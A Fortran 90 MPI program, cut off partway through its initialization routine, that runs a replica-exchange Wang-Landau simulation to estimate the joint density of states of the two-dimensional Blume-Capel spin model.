name = "PROD-RG"
location = "Southeast Asia"
tags = {
environment = "Terraform"
}
}
# Create a virtual network within the resource group
resource "azurerm_virtual_network" "PROD-vNet" {
name = "PROD-vNET"
address_space = ["192.168.1.0/24"]
location = "Southeast asia"
resource_group_name = "${azurerm_resource_group.PROD.name}"
tags = {
environment = "Terraform"
}
}
resource "azurerm_subnet" "prod-frondend-subnet" {
name = "PROD-WEB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.PROD-vNet.name}"
address_prefix = "192.168.1.0/28"
network_security_group_id ="${azurerm_network_security_group.NSG-WEB.id}"
}
resource "azurerm_subnet" "prod-app-subnet" {
name = "PROD-APP-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.PROD-vNet.name}"
address_prefix = "192.168.1.16/28"
network_security_group_id ="${azurerm_network_security_group.NSG-APP.id}"
}
resource "azurerm_subnet" "prod-DB-subnet" {
name = "PROD-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.PROD-vNet.name}"
address_prefix = "192.168.1.32/28"
network_security_group_id ="${azurerm_network_security_group.NSG-DB.id}"
}
/*
resource "azurerm_subnet" "prod-PRODSVC-subnet" {
name = "PROD-PRODSVC-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.PROD-vNet.name}"
address_prefix = "192.168.1.48/28"
network_security_group_id ="${azurerm_network_security_group.NS.id}"
}
*/
/*
resource "azurerm_subnet" "prod-DB-subnet" {
name = "PROD-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.Prod-vNet.name}"
address_prefix = "192.168.0.64/28"
}
*/
<file_sep>
provider "azurerm" {
# Whilst version is optional, we /strongly recommend/ using it to pin the version of the Provider being used
version = "=1.28.0"
#PRODsubcription
subscription_id = "xxxxxxxx"
}
# Create a resource group
resource "azurerm_resource_group" "PROD01" {
name = "PROD01-RG"
location = "Southeast Asia"
tags = {
environment = "Terraform"
}
}
# Create a virtual network within the resource group
resource "azurerm_virtual_network" "PROD01-vNet" {
name = "PROD01-vNET"
address_space = ["192.168.2.0/24"]
location = "Southeast asia"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
tags = {
environment = "Terraform"
}
}
resource "azurerm_subnet" "PROD01-frondend-subnet" {
name = "PROD01-WEB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
virtual_network_name = "${azurerm_virtual_network.PROD01-vNet.name}"
address_prefix = "192.168.2.0/28"
network_security_group_id ="${azurerm_network_security_group.NSG-WEB01.id}"
}
resource "azurerm_subnet" "PROD01-app-subnet" {
name = "PROD01-APP-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
virtual_network_name = "${azurerm_virtual_network.PROD01-vNet.name}"
address_prefix = "192.168.2.16/28"
network_security_group_id ="${azurerm_network_security_group.NSG-APP01.id}"
}
resource "azurerm_subnet" "PROD01-DB-subnet" {
name = "PROD01-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
virtual_network_name = "${azurerm_virtual_network.PROD01-vNet.name}"
address_prefix = "192.168.2.32/28"
network_security_group_id ="${azurerm_network_security_group.NSG-DB01.id}"
}
/*
resource "azurerm_subnet" "PROD01-PROD01SVC-subnet" {
name = "PROD01-PROD01SVC-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
virtual_network_name = "${azurerm_virtual_network.PROD01-vNet.name}"
address_prefix = "192.168.2.48/28"
network_security_group_id ="${azurerm_network_security_group.NS.id}"
}
*/
/*
resource "azurerm_subnet" "PROD01-DB-subnet" {
name = "PROD01-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
virtual_network_name = "${azurerm_virtual_network.PROD01-vNet.name}"
address_prefix = "192.168.2.64/28"
}
*/
<file_sep>
resource "azurerm_network_security_group" "NSG-MGMT" {
name = "NSG-MGMT"
location = "${azurerm_resource_group.CORE.location}"
resource_group_name = "${azurerm_resource_group.CORE.name}"
security_rule {
name = "AllowRDPFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
resource "azurerm_network_security_group" "NSG-CORESVC" {
name = "NSG-CORESVC"
location = "${azurerm_resource_group.CORE.location}"
resource_group_name = "${azurerm_resource_group.CORE.name}"
security_rule {
name = "AllowRDPFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
resource "azurerm_network_security_group" "NSG-WAF" {
name = "NSG-WAF"
location = "${azurerm_resource_group.CORE.location}"
resource_group_name = "${azurerm_resource_group.CORE.name}"
security_rule {
name = "AllowHTTPSFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}<file_sep>
#/*
provider "azurerm" {
# Whilst version is optional, we /strongly recommend/ using it to pin the version of the Provider being used
version = "=1.28.0"
#prodsubcription
subscription_id = "7accd93c-0ecb-4767-aabc-2b856d78704a"
}
# Create a resource group
resource "azurerm_resource_group" "DEV" {
name = "DEV-RG"
location = "Southeast Asia"
tags = {
environment = "Terraform"
}
}
# Create a virtual network within the resource group
resource "azurerm_virtual_network" "DEV-vNet" {
name = "DEV-vNET"
address_space = ["192.168.3.0/24"]
location = "Southeast asia"
resource_group_name = "${azurerm_resource_group.DEV.name}"
tags = {
environment = "Terraform"
}
}
resource "azurerm_subnet" "prod-frondend-subnet" {
name = "DEV-WEB-SUBNET"
resource_group_name = "${azurerm_resource_group.DEV.name}"
virtual_network_name = "${azurerm_virtual_network.DEV-vNet.name}"
address_prefix = "192.168.3.0/28"
network_security_group_id ="${azurerm_network_security_group.NSG-WEB-DEV.id}"
}
resource "azurerm_subnet" "prod-app-subnet" {
name = "PROD-APP-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.PROD-vNet.name}"
address_prefix = "192.168.3.16/28"
network_security_group_id ="${azurerm_network_security_group.NSG-APP-DEV.id}"
}
resource "azurerm_subnet" "dev-DB-subnet" {
name = "DEV-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.DEV.name}"
virtual_network_name = "${azurerm_virtual_network.DEV-vNet.name}"
address_prefix = "192.168.3.32/28"
network_security_group_id ="${azurerm_network_security_group.NSG-DB-DEV.id}"
}
/*
resource "azurerm_subnet" "prod-PRODSVC-subnet" {
name = "PROD-PRODSVC-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.PROD-vNet.name}"
address_prefix = "192.168.1.48/28"
network_security_group_id ="${azurerm_network_security_group.NS.id}"
}
*/
/*
resource "azurerm_subnet" "prod-DB-subnet" {
name = "PROD-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.PROD.name}"
virtual_network_name = "${azurerm_virtual_network.Prod-vNet.name}"
address_prefix = "192.168.0.64/28"
}
*/
<file_sep>resource "azurerm_network_security_group" "NSG-APP01" {
name = "NSG-APP01"
location = "${azurerm_resource_group.PROD01.location}"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
security_rule {
name = "AllowRDPFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
resource "azurerm_network_security_group" "NSG-WEB01" {
name = "NSG-WEB01"
location = "${azurerm_resource_group.PROD01.location}"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
security_rule {
name = "AllowRDPFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
resource "azurerm_network_security_group" "NSG-DB01" {
name = "NSG-DB01"
location = "${azurerm_resource_group.PROD01.location}"
resource_group_name = "${azurerm_resource_group.PROD01.name}"
security_rule {
name = "AllowHTTPSFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
<file_sep>resource "azurerm_network_security_group" "NSG-APP" {
name = "NSG-APP"
location = "${azurerm_resource_group.PROD.location}"
resource_group_name = "${azurerm_resource_group.PROD.name}"
security_rule {
name = "AllowRDPFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
resource "azurerm_network_security_group" "NSG-WEB" {
name = "NSG-WEB"
location = "${azurerm_resource_group.PROD.location}"
resource_group_name = "${azurerm_resource_group.PROD.name}"
security_rule {
name = "AllowRDPFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
resource "azurerm_network_security_group" "NSG-DB" {
name = "NSG-DB"
location = "${azurerm_resource_group.PROD.location}"
resource_group_name = "${azurerm_resource_group.PROD.name}"
security_rule {
name = "AllowHTTPSFromALL"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "*"
source_address_prefix = "*"
destination_address_prefix = "*"
}
}
<file_sep># TF-LAB
This is mainly my terraform file to be use as provisioning method for Azure HUB and SPOKE architecture
<file_sep>
provider "azurerm" {
# Whilst version is optional, we /strongly recommend/ using it to pin the version of the Provider being used
version = "=1.28.0"
#coresubcription
subscription_id = "xxxxxxxxx"
}
# Create a resource group
resource "azurerm_resource_group" "CORE" {
name = "CORE-RG"
location = "Southeast Asia"
tags = {
environment = "Terraform"
}
}
# Create a virtual network within the resource group
resource "azurerm_virtual_network" "Core-vNet" {
name = "CORE-vNET"
address_space = ["192.168.0.0/24"]
location = "Southeast asia"
resource_group_name = "${azurerm_resource_group.CORE.name}"
tags = {
environment = "Terraform"
}
}
resource "azurerm_subnet" "core-frondend-subnet" {
name = "CORE-FE-AGWAF-SUBNET"
resource_group_name = "${azurerm_resource_group.CORE.name}"
virtual_network_name = "${azurerm_virtual_network.Core-vNet.name}"
address_prefix = "192.168.0.0/28"
network_security_group_id ="${azurerm_network_security_group.NSG-WAF.id}"
}
resource "azurerm_subnet" "core-fw-subnet" {
name = "CORE-FW-SUBNET"
resource_group_name = "${azurerm_resource_group.CORE.name}"
virtual_network_name = "${azurerm_virtual_network.Core-vNet.name}"
address_prefix = "192.168.0.16/28"
#network_security_group_id ="${azurerm_network_security_group.NSG-MGMT.id}"
}
resource "azurerm_subnet" "core-MGMT-subnet" {
name = "CORE-MGMT-SUBNET"
resource_group_name = "${azurerm_resource_group.CORE.name}"
virtual_network_name = "${azurerm_virtual_network.Core-vNet.name}"
address_prefix = "192.168.0.32/28"
network_security_group_id ="${azurerm_network_security_group.NSG-MGMT.id}"
}
resource "azurerm_subnet" "core-CORESVC-subnet" {
name = "CORE-CORESVC-SUBNET"
resource_group_name = "${azurerm_resource_group.CORE.name}"
virtual_network_name = "${azurerm_virtual_network.Core-vNet.name}"
address_prefix = "192.168.0.48/28"
network_security_group_id ="${azurerm_network_security_group.NSG-CORESVC.id}"
}
/*
resource "azurerm_subnet" "core-DB-subnet" {
name = "CORE-DB-SUBNET"
resource_group_name = "${azurerm_resource_group.CORE.name}"
virtual_network_name = "${azurerm_virtual_network.Core-vNet.name}"
address_prefix = "192.168.0.64/28"
}
*/
|
68d626a5057fa34665eaab2cbad0aefa3693a847
|
[
"Markdown",
"HCL"
] | 8 |
Markdown
|
munir94/TF-LAB
|
fe7fed9977da2bcd8515efafa33963adc2155b87
|
f5781027c5a07ce482d4c9ae2ff8c343ddfbdcbc
|
refs/heads/master
|
<repo_name>jcsrocha/wang_landau<file_sep>/REWL_ge2D_Blume_Capel_2D_tri.f90
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
!Definitions of kind value to integer variables
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
MODULE integer_kind
IMPLICIT NONE
INTEGER, PARAMETER :: K15=selected_int_kind(9)!selected_int_kind(15)
INTEGER, PARAMETER :: K4B=selected_int_kind(9)
END MODULE integer_kind
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
!Variables for the pseudo-random numbers generator
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
MODULE raset1
USE integer_kind
IMPLICIT NONE
REAL(8), SAVE :: u(97), cc, cd, cm
INTEGER(K15), SAVE :: i97, j97
END MODULE raset1
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
!Variables for the Wang-Landau Algorithm
!+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
MODULE WL_variables
USE integer_kind
IMPLICIT NONE
INTEGER(K4B), PARAMETER :: mcs_bin = 1000, mcs_bin_term = 10, ireplica=1000, max_neighbors = 4
REAL(8), PARAMETER :: lnf_min=1.0D-9,accept_min=0.6D0,p=0.7D0,overlap_ratio=0.75D0,&
& dE1=1.0D0, dE2=1.0D0, dE1_inv=1.0D0/dE1, dE2_inv=1.0D0/dE2
INTEGER(K4B) :: ierr,numprocs,myid,mcs,n_mcs,energy_comm,energy_id,numranks,iWalker,&
& numbers_count, nWalkers, nWindows, nEbins, cont, kWindow, mWindows
INTEGER(k15) :: delta_range1, delta_range2, rangeE1_min, rangeE1_max, rangeE2_min, rangeE2_max
INTEGER(K4B) :: iseed1,iseed2,accept_counter,exchange_counter, number_windows, even_windows
INTEGER(K4B),ALLOCATABLE,DIMENSION(:) :: vizXdir,vizXesq,vizYdir,vizYesq,counter_s,&
& my_neighbor_id,position_aux
INTEGER(K4B),ALLOCATABLE,DIMENSION(:) :: number_neighbor_windows,neighbor_windows
REAL(8) :: pi,mcs_inv,accept_ratio,lnf,dU,E1_min,E1_max,E2_min,E2_max,phi_optimum,dble_nWalkers_1,&
& replica_ratio,Emin_N, Emax_N = 0.0D0
INTEGER(K15),ALLOCATABLE,DIMENSION(:) :: he
REAL(8),ALLOCATABLE,DIMENSION(:) :: lng, random_numbers
LOGICAL,ALLOCATABLE,DIMENSION(:) :: my_neighbor
LOGICAL :: flat, accept
END MODULE WL_variables
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
!Variables for the spin model
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
MODULE spins_variables
USE integer_kind
IMPLICIT NONE
INTEGER(K4B), PARAMETER :: L=16, L2 = L*L
REAL(8),PARAMETER :: L2_real=DBLE(L2), L2_dble=DBLE(L2)-1.0D0, L2_inv = 1.0D0/DBLE(L2)
INTEGER(K4B) :: delta_sx, Sx_new
REAL(8) :: Mx,delta_U1,delta_U2!, A, B
!New variable type for spin configuration
TYPE spins_config
REAL(8) :: U1, U2
INTEGER(K4B),DIMENSION(1:L2) :: Sx
END TYPE spins_config
TYPE (spins_config) :: current, trial
INTEGER(K15),DIMENSION(1:3) :: E_current, E_trial
END MODULE spins_variables
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
!Variables for the MPI library
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
MODULE MPI_new_variables
USE integer_kind
IMPLICIT NONE
include "mpif.h"
INTEGER(K4B), PARAMETER :: cont_blocks=3
INTEGER :: mpistatus(MPI_STATUS_SIZE), MPI_config_spins
INTEGER,DIMENSION(:) :: block_length(1:cont_blocks), address(1:cont_blocks+1), typelist(1:cont_blocks)
INTEGER(kind=MPI_ADDRESS_KIND),DIMENSION(1:cont_blocks) :: displacement
END MODULE MPI_new_variables
!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!
!##################################################################################################!
!Wang-Landau Method for Blume-Capel
!##################################################################################################!
PROGRAM WangLandau_Blume_Capel_model
USE integer_kind
USE WL_variables
USE spins_variables
USE MPI_new_variables
IMPLICIT NONE
INTEGER(K15) :: i,j,k
CHARACTER(50) :: lnge!,xmakemol_file
913 FORMAT('oREWL_BlumeCapel_2D_L=',I2,'seed',I2,'_a.out')
!914 FORMAT('config_BlumeCapel_2D_L='I3'seed'I2'.xyz')
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!MPI initialization
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
CALL MPI_INIT(ierr)
CALL MPI_COMM_SIZE(MPI_COMM_WORLD,numprocs,ierr)
CALL MPI_COMM_RANK(MPI_COMM_WORLD,myid,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Parameters and Variables initialization
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
! WRITE(xmakemol_file,914) L,myid+1
! OPEN(UNIT=20, FILE=xmakemol_file)
CALL initial()
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Wang-Landau Algorithm
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
he = 0; lng = 1.0D0; lnf = 1.0D0 !Initialization of the Variables
DO WHILE (lnf .GT. lnf_min)
CALL sweep() ! Perform mcs Monte Carlo sweeps (mcs = mcs_bin*nEbins)
CALL flathist() !Check if histogram is flat
END DO
!. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .!
!Simulation Output (log of the density of states)
!. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .!
WRITE(lnge,913) L,myid+1
OPEN(UNIT=10, FILE=lnge)
DO i=RangeE1_min,RangeE1_max
DO j=RangeE2_min,RangeE2_max
k = delta_range2*i + j
IF(lng(k) > 1.0D0) WRITE(10,*) DBLE(i)*dE1, DBLE(j)*dE2, lng(k)
END DO
END DO
CLOSE(10)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!MPI finalization
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
DEALLOCATE(he,lng,vizXdir,vizXesq,vizYdir,vizYesq,counter_s,&
& position_aux,neighbor_windows,number_neighbor_windows)
CALL MPI_FINALIZE(ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
STOP
!##################################################################################################!
CONTAINS
!------------------------------------------------------------------------------!
!Initialization (initial configuration, constants, table of energy and space Ex)
!------------------------------------------------------------------------------!
SUBROUTINE initial()
USE integer_kind
USE WL_variables
USE spins_variables
USE MPI_new_variables
IMPLICIT NONE
INTEGER(K4B) :: i,j,k,ii,kk!,ii
REAL(8) :: aux1,aux2,aux4,DeltaEp1,DeltaEp2!,norm,phi
INTEGER :: count, count_rate, count_max, iWindows, iaux, jaux
REAL(8), ALLOCATABLE,DIMENSION(:) :: E1_min_aux,E1_max_aux,E2_min_aux,E2_max_aux
INTEGER(k4B),DIMENSION(12) :: iseed_aux
INTEGER:: rangeE1_min_aux, rangeE1_max_aux, rangeE2_min_aux, rangeE2_max_aux
INTEGER(k4B),ALLOCATABLE,DIMENSION(:) :: jWindow
REAL :: seed_aux
LOGICAL :: found, found_core
! REAL(8),ALLOCATABLE :: lngE_med(:)
! LOGICAL :: found_E, found_E_core
! CHARACTER(30) :: estimative
!666 FORMAT('Estimative_xy_2D_L=',I2,'.in')
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Reading input file
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
IF (myid==0) THEN
OPEN(UNIT=10, FILE='input_REWL_BlumeCapel_2D.dat')
READ(10,*) nWalkers, mWindows
CLOSE(10)
number_windows = 0
DO i=0,mWindows-1
nWindows = 1 + 2*i
number_windows = number_windows + nWindows
END DO
PRINT*,'number of windows of energy',nWindows,'X',mWindows, '=>',&
& number_windows
PRINT*,'number of walkers',nWalkers
END IF
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
IF(myid==0) PRINT*,'The input file was read.'
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Broadcasting the initial data
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
CALL MPI_Bcast(nWalkers,1,MPI_INTEGER,0,MPI_COMM_WORLD,ierr)
CALL MPI_Bcast(nWindows,1,MPI_INTEGER,0,MPI_COMM_WORLD,ierr)
CALL MPI_Bcast(mWindows,1,MPI_INTEGER,0,MPI_COMM_WORLD,ierr)
CALL MPI_Bcast(number_windows,1,MPI_INTEGER,0,MPI_COMM_WORLD,ierr)
IF(myid==0) PRINT*,'The data was broadcasted to all processors.'
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Checking if the number of processors was passed correctL.
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
IF(numprocs .NE. number_windows*nWalkers) THEN
IF (myid==0) THEN
PRINT*,'PROGRAM ABORT!'
PRINT*,'wrong number of processors',numprocs,'it should be',number_windows*nWalkers
END IF
CALL MPI_FINALIZE(ierr)
STOP
END IF
dble_nWalkers_1 = DBLE(nWalkers-1)
IF(myid==0) PRINT*,'The number of processors was checked.'
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!New communicator (For walkers inside a given energy window)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
kWindow = myid/nWalkers
iWalker = MOD(myid,nWalkers)
CALL MPI_Comm_split(MPI_COMM_WORLD,kWindow,iWalker,energy_comm,ierr)
CALL MPI_COMM_SIZE(energy_comm,numranks,ierr)
CALL MPI_COMM_RANK(energy_comm,energy_id,ierr)
IF(myid==0) PRINT*,'The new communicator was created.'
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!New MPI Data Type (Configuration of the System State)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
typelist(1) = MPI_DOUBLE_PRECISION
typelist(2) = MPI_DOUBLE_PRECISION
typelist(3) = MPI_INTEGER
block_length(1) = 1
block_length(2) = 1
block_length(3) = L2
CALL MPI_ADDRESS(current,address(1),ierr)
CALL MPI_ADDRESS(current%U1,address(2),ierr)
CALL MPI_ADDRESS(current%U2,address(3),ierr)
CALL MPI_ADDRESS(current%Sx,address(4),ierr)
DO i=1,cont_blocks
displacement(i) = address(i+1) - address(1)
END DO
CALL MPI_TYPE_CREATE_STRUCT(cont_blocks,block_length,displacement,typelist,MPI_config_spins,ierr)
CALL MPI_TYPE_COMMIT(MPI_config_spins,ierr)
IF(myid==0) PRINT*,'The new mpi data type was created.'
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Random Number Generator inicialization
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
DO i=1,12
DO j=0,myid+i
CALL SYSTEM_CLOCK(count, count_rate, count_max)
iseed_aux(i) = count
END DO
iseed_aux(i) = iseed_aux(i)*myid*i + iseed_aux(i)*i
END DO
CALL random_seed(PUT=iseed_aux)
DO i=1,numprocs + 10*myid
CALL random_number(seed_aux)
iseed1 = NINT(31328.D0*seed_aux)
CALL random_number(seed_aux)
iseed2 = NINT(30081.D0*seed_aux)
END DO
PRINT*, 'Processor ' ,myid, '. Seeds for the Marsaglia random number generator', iseed1,iseed2
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
CALL rmarin(iseed1,iseed2)
IF (myid == 0) PRINT*, 'Gerador de números aleatórios inicializado '
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Alocando variaveis e tabelando parametros
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
! IF (myid ==0) CALL CPU_TIME(t_inic) !Inicializa a contagem do tempo de computacao
!Defining the lattice (simple cubic (SC) lattice).
!A surface with periodic boundary condition in xy-plane.
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
ALLOCATE (vizXdir(1:L2),vizXesq(1:L2),vizYdir(1:L2),vizYesq(1:2*L2),&
& counter_s(1:L2))
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Tabelando os primeiros vizinhos
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
cont = 0
DO i=1,L
DO j=1,L
cont = cont + 1
counter_s(cont) = cont
!Define a posicao dos vizinhos na direcao x
vizXdir(cont) = cont + 1
vizXesq(cont) = cont - 1
IF(j .EQ. 1) vizXesq(cont) = cont - 1 + L
IF(j .EQ. L) vizXdir(cont) = cont + 1 - L
!Define a posicao dos vizinhos na direcao y
vizYdir(cont) = cont + L
vizYesq(cont) = cont - L
IF(i .EQ. 1) vizYesq(cont) = cont - L + L2
IF(i .EQ. L) vizYdir(cont) = cont + L - L2
END DO
END DO
current%sx = 1
CALL energy(current,E_current)
IF(myid==0) PRINT*,'A square lattice was built.'
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Defining some variables and allocating memory:
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
E1_min = -2.0D0*L2_real !Minimum energy
E1_max = 2.0D0*L2_real !Maximum energy
E2_min = -L2_real !Minimum energy
E2_max = L2_real !Maximum energy
rangeE1_min = NINT(E1_min*dE1_inv)
rangeE1_max = NINT(E1_max*dE1_inv)
rangeE2_min = NINT(E2_min*dE2_inv)
rangeE2_max = NINT(E2_max*dE2_inv)
delta_range1 = rangeE1_max-rangeE1_min + 1
delta_range2 = rangeE2_max-rangeE2_min + 1
ALLOCATE(he(delta_range2*rangeE1_min+rangeE2_min:delta_range2*rangeE1_max+rangeE2_max),&
& lng(delta_range2*rangeE1_min+rangeE2_min:delta_range2*rangeE1_max+rangeE2_max))
he = 0; lng = 1.0D0; lnf = 1.0D0 !Initialization of the Variables
nEbins = NINT((E1_max-E1_min)*dE1_inv*overlap_ratio*(E2_max-E2_min)*dE2_inv*overlap_ratio)
nEbins = nEbins/number_windows
mcs = mcs_bin_term*nEbins
mcs_inv = 1.0D0/mcs
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Dividing the range of energy into 'nWindows' windos of the same size:
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
ALLOCATE (E1_min_aux(0:numprocs-1),E1_max_aux(0:numprocs-1),E2_min_aux(0:numprocs-1),&
& E2_max_aux(0:numprocs-1),jWindow(0:number_windows))
jWindow = -1
DeltaEp2 = NINT((E2_max - E2_min)/(DBLE(mWindows) - DBLE(mWindows-1)*overlap_ratio))
aux1 = E2_max
aux2 = aux1 - DeltaEp2
jWindow = 0
DO ii=0,nWalkers-1
E2_max_aux(ii) = aux1
E2_min_aux(ii) = aux2
END DO
k = 1
DO i=1,mWindows-1
aux1 = aux2 + DeltaEp2*overlap_ratio
aux2 = aux1 - DeltaEp2
iWindows = 1 + 2*i
DO j=0,iWindows-1
jWindow(k) = i
DO ii=0,nWalkers-1
kk = k*nWalkers + ii
E2_max_aux(kk) = aux1
E2_min_aux(kk) = aux2
END DO
k = k + 1
END DO
END DO
DeltaEp1 = NINT((E1_max - E1_min)/(DBLE(nWindows) - DBLE(nWindows-1)*overlap_ratio))
aux4 = E1_min
kk = numprocs-1
DO i=mWindows-1,0,-1
iWindows = 1 + 2*i
aux1 = aux4
aux2 = aux1 + DeltaEp1
DO j=0,iWindows-1
DO ii=0,nWalkers-1
E1_min_aux(kk) = aux1
E1_max_aux(kk) = aux2
kk = kk - 1
END DO
aux1 = aux2 - DeltaEp1*overlap_ratio
aux2 = aux1 + DeltaEp1
END DO
aux4 = aux4 + DeltaEp1*(1.0D0-overlap_ratio)
END DO
ALLOCATE (my_neighbor_id(0:max_neighbors*numprocs*nWalkers-1), number_neighbor_windows(0:number_windows-1))
ALLOCATE (neighbor_windows(0:max_neighbors*number_windows-1),&
& my_neighbor(0:numprocs*numprocs-1), position_aux(0:numprocs-1))
number_neighbor_windows = 0
k = 0
kk = 0
DO i=0,mWindows-1
kk = kk + 2
DO j=0,2*i
IF(jWindow(k) == jWindow(k+1)) THEN
iaux = k+1
neighbor_windows(k*max_neighbors+number_neighbor_windows(k)) = iaux
number_neighbor_windows(k) = number_neighbor_windows(k) + 1
neighbor_windows(iaux*max_neighbors+number_neighbor_windows(iaux)) = k
number_neighbor_windows(iaux) = number_neighbor_windows(iaux) + 1
ELSE
iaux = -1
END IF
IF(i < mWindows-1) THEN
jaux = k + kk
neighbor_windows(k*max_neighbors+number_neighbor_windows(k)) = jaux
number_neighbor_windows(k) = number_neighbor_windows(k) + 1
neighbor_windows(jaux*max_neighbors+number_neighbor_windows(jaux)) = k
number_neighbor_windows(jaux) = number_neighbor_windows(jaux) + 1
ELSE
jaux = -1
END IF
k = k + 1
END DO
END DO
my_neighbor = .FALSE.
DO i=0,numprocs-1
